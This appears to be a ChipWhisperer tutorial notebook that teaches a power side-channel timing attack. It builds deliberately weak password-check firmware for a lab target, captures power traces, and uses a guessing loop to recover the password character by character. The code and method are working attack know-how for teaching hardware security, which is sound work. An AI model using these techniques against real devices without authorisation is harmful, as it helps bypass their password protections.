{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Timing Analysis with Power for Password Bypass\n",
    "\n",
    "Supported setups:\n",
    "\n",
    "SCOPES:\n",
    "\n",
    "* OPENADC\n",
    "* CWNANO\n",
    "\n",
    "PLATFORMS:\n",
    "\n",
    "* CWLITEARM\n",
    "* CWLITEXMEGA\n",
    "* CWNANO"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "This tutorial will introduce you to breaking devices by determining when a device is performing certain operations. It will use a simple password check, and demonstrate how to perform a basic power analysis.\n",
    "\n",
    "Note this is not a prerequisite to the tutorial on breaking AES. You can skip this tutorial if you wish to go ahead with the AES tutorial."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "SCOPETYPE = 'OPENADC'\n",
    "PLATFORM = 'CWLITEARM'\n",
    "CRYPTO_TARGET = 'NONE'"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Firmware"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Like before, we'll need to setup our `PLATFORM`, then build the firmware:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%%bash -s \"$PLATFORM\" \"$CRYPTO_TARGET\"\n",
    "cd ../hardware/victims/firmware/basic-passwdcheck\n",
    "make PLATFORM=$1 CRYPTO_TARGET=$2"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Setup"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Setup is the same as usual, except this time we'll be capturing 2000 traces."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%run \"Helper_Scripts/Setup_Generic.ipynb\""
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "fw_path = '../hardware/victims/firmware/basic-passwdcheck/basic-passwdcheck-{}.hex'.format(PLATFORM)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "cw.program_target(scope, prog, fw_path)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Communicating With The Target"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "As was mentioned at the beginning of the tutorial, the firmware we loaded onto the target implements a basic password check. After getting a `'\\n'` terminated password, the target checks it and enters an infinite loop, so before communicating with it, we'll need to reset it.\n",
    "\n",
    "We'll be doing this a lot, so we'll define a function that resets the target (this function is also available by running \"Helper_Scripts/Setup.ipynb\" as we did above):"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "import time\n",
    "def reset_target(scope):\n",
    "    if PLATFORM == \"CW303\" or PLATFORM == \"CWLITEXMEGA\":\n",
    "        scope.io.pdic = 'low'\n",
    "        time.sleep(0.05)\n",
    "        scope.io.pdic = 'high'\n",
    "        time.sleep(0.05)\n",
    "    else:  \n",
    "        scope.io.nrst = 'low'\n",
    "        time.sleep(0.05)\n",
    "        scope.io.nrst = 'high'\n",
    "        time.sleep(0.05)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "The target sends some text to us upon starting. After running the block below, you should see some text appear. \n",
    "\n",
    "**NOTE**\n",
    "The text may appear cutoff, accompanied by a message about data loss. This means that the buffer used to store serial data (128 bytes) from the target is full. This isn't an issue here, since the text is just aesthetic, but keep this in mind if you want to do large transfers of serial data using ChipWhisperer. "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "ret = \"\"\n",
    "reset_target(scope)\n",
    "\n",
    "num_char = target.in_waiting()\n",
    "while num_char > 0:\n",
    "    ret += target.read(timeout=10)\n",
    "    time.sleep(0.05)\n",
    "    num_char = target.in_waiting()\n",
    "    \n",
    "print(ret)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now we can send the target a password:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "target.flush()\n",
    "target.write(\"h0px3\\n\")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "And get the response. We sent it the right password (hopx3), so you should see \"Access granted, Welcome!\":"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "print(target.read(timeout=100))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "**tip**\n",
    "\n",
    "In real systems, you may often know one of the passwords, which is sufficient to investigate the password checking routines as we will do. You also normally have an ability to reset passwords to default. While the reset procedure would erase any data you care about, the attacker will be able to use this 'sacrificial' device to learn about possible vulnerabilities. So the assumption that we have access to the password is really just saying we have access to a password, and will use that knowledge to break the system in general."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Recording Traces"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now that we can communicate with our super-secure system, our next goal is to get a power trace while the target is running. To do this, we'll arm the scope just before we send our password attempt, then record the trace as we've done before."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "if PLATFORM == \"CWNANO\":\n",
    "    scope.adc.samples = 800\n",
    "else:\n",
    "    scope.adc.samples = 2000"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "ret = \"\"\n",
    "reset_target(scope)\n",
    "num_char = target.in_waiting()\n",
    "while num_char > 0:\n",
    "    ret += target.read(timeout=10)\n",
    "    time.sleep(0.01)\n",
    "    num_char = target.in_waiting()\n",
    "    \n",
    "print(ret)\n",
    "scope.arm()\n",
    "target.flush()\n",
    "target.write(\"h0px3\\n\")\n",
    "ret = scope.capture()\n",
    "if ret:\n",
    "    print('Timeout happened during acquisition')\n",
    "        \n",
    "trace = scope.get_last_trace()\n",
    "resp = \"\"\n",
    "num_char = target.in_waiting()\n",
    "while num_char > 0:\n",
    "    resp += target.read(timeout=10)\n",
    "    time.sleep(0.01)\n",
    "    num_char = target.in_waiting()\n",
    "print(resp)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now that we have a trace, we'll use bokeh to plot it:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "from bokeh.plotting import figure, show \n",
    "from bokeh.io import output_notebook\n",
    "from bokeh.models import CrosshairTool\n",
    "\n",
    "output_notebook()\n",
    "p = figure()\n",
    "x_range = range(0, len(trace))\n",
    "p.line(x_range, trace)\n",
    "show(p)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Timing Analysis"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now that we can capture traces, we can begin planning our attack. First we'll make a function to guess a password and return a power trace, since we'll be repeating those steps a lot:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "def cap_pass_trace(pass_guess):\n",
    "    ret = \"\"\n",
    "    reset_target(scope)\n",
    "    num_char = target.in_waiting()\n",
    "    while num_char > 0:\n",
    "        ret += target.read(num_char, 10)\n",
    "        time.sleep(0.01)\n",
    "        num_char = target.in_waiting()\n",
    "\n",
    "    scope.arm()\n",
    "    target.write(pass_guess)\n",
    "    ret = scope.capture()\n",
    "    if ret:\n",
    "        print('Timeout happened during acquisition')\n",
    "\n",
    "    trace = scope.get_last_trace()\n",
    "    return trace"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Next, we'll try two different passwords and see if the power traces differ by length. We'll then plot both traces on the same figure (with the first in red and the second in blue)."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "trace = cap_pass_trace(\"\\n\")\n",
    "new_trace = cap_pass_trace(\"h\\n\")\n",
    "x_range = range(0, len(new_trace))\n",
    "p = figure()\n",
    "p.add_tools(CrosshairTool())\n",
    "p.line(x_range, new_trace)\n",
    "p.line(x_range, trace, line_color='red')\n",
    "show(p)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "You should see both traces start and end similarly, but differ elsewhere. If you look closely, you should see that the blue trace looks a lot like the red trace but shifted later in time. We'll use this timing difference to break the password!\n",
    "\n",
    "Edit the above block to try different passwords and see how it changes for different lengths and number of correct characters. \n",
    "\n",
    "Go back to the original guesses (`\"\\n\"` and `\"h\\n\"`) and find some distinct spikes that get shifted in time. Your target may differ, but in my case, there were some distinct spikes of about -0.25 at 229 in red and 265 in blue. The plot is interactive, so you can zoom in and move around using the buttons on the right side of the plot. Record their locations, value, and the difference in location (in my case, 229, 265, -0.25, and 36). \n",
    "\n",
    "Using distinct peaks may not always work. Instead of distinct peaks you can use where the two traces start to diverge. At the beginning the power traces are similar even though the number of characters correct is different. However, there is a point where they start to become significantly different. If you can find this spot you can use this spot to do the timing analysis instead. The difference in location should be the same as when using distinct peaks."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Attacking a Single Letter"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now that we've located a distinctive timing difference, we can start building our attack. We'll start with a single letter, since that will quickly give us some feedback on the attack.\n",
    "\n",
    "The plan for the attack is simple: keep guessing letters until we no longer see the distinctive spike in the original location. To do this, we'll create a loop that:\n",
    "\n",
    "* Figures out our next guess\n",
    "* Does the capture and records the trace\n",
    "* Checks if sample 229 is larger than -0.25 (replace with appropriate values)\n",
    "\n",
    "To make things a little easier for later, we'll make a function that will return whether our spike is (guess incorrect) or isn't (guess correct) in the right location:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "def checkpass(trace, i):\n",
    "    if PLATFORM == \"CWNANO\":\n",
    "        #There's a bit of jitter\n",
    "        return (trace[228 + 11*i] < 3 and trace[227 + 11*i] < 0.3)\n",
    "    elif PLATFORM == \"CWLITEARM\" or PLATFORM == \"CW308_STM32F3\":\n",
    "        return trace[229 + 36*i] > -0.2\n",
    "    elif PLATFORM == \"CW303\" or PLATFORM == \"CWLITEXMEGA\":\n",
    "        return trace[73 + 40 * i] > -0.3"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "The below loop finds the first correct character, prints it, then ends. You should see \"Success: h\" after a while."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "trylist = \"abcdefghijklmnopqrstuvwxyz0123456789\"\n",
    "password = \"\"\n",
    "for c in trylist:\n",
    "    next_pass = password + c + \"\\n\"\n",
    "    trace = cap_pass_trace(next_pass)\n",
    "    if checkpass(trace, 0):\n",
    "        print(\"Success: \" + c)\n",
    "        break"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Attacking the Full Password"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now that we can guess a single character, attacking the rest is easy; we just need to repeat the process in another loop, move the check point (this is the change is location you recorded earlier), and update our guess with the new correct letter.\n",
    "\n",
    "After updating the below script and running it, you should see parts of the password printed out as each letter is found."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "trylist = \"abcdefghijklmnopqrstuvwxyz0123456789\"\n",
    "password = \"\"\n",
    "for i in range(5):\n",
    "    for c in trylist:\n",
    "        next_pass = password + c + \"\\n\"\n",
    "        trace = cap_pass_trace(next_pass)\n",
    "        if checkpass(trace, i):\n",
    "            password += c\n",
    "            print(\"Success, pass now {}\".format(password))\n",
    "            break"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "That's it! You should have successfully cracked a password using the timing attack. Some notes on this method:\n",
    "\n",
    "* The target device has a finite start-up time, which slows down the attack. If you wish, remove some of the `printf()`'s from the target code, recompile and reprogram, and see how quickly you can do this attack.\n",
    "* The current script doesn't look for the \"WELCOME\" message when the password is OK. That is an extension that allows it to crack any size password.\n",
    "* If there was a lock-out on a wrong password, the system would ignore it, as it resets the target after every attempt."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Conclusion"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "This tutorial has demonstrated the use of the power side-channel for performing timing attacks. A target with a simple password-based security system is broken."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "scope.dis()\n",
    "target.dis()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Tests"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "assert (password == \"h0px3\"), \"Failed to break password, got {}.\\nIf on Nano, may need to rerun\".format(password)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "language_info": {
   "name": "python",
   "pygments_lexer": "ipython3"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}
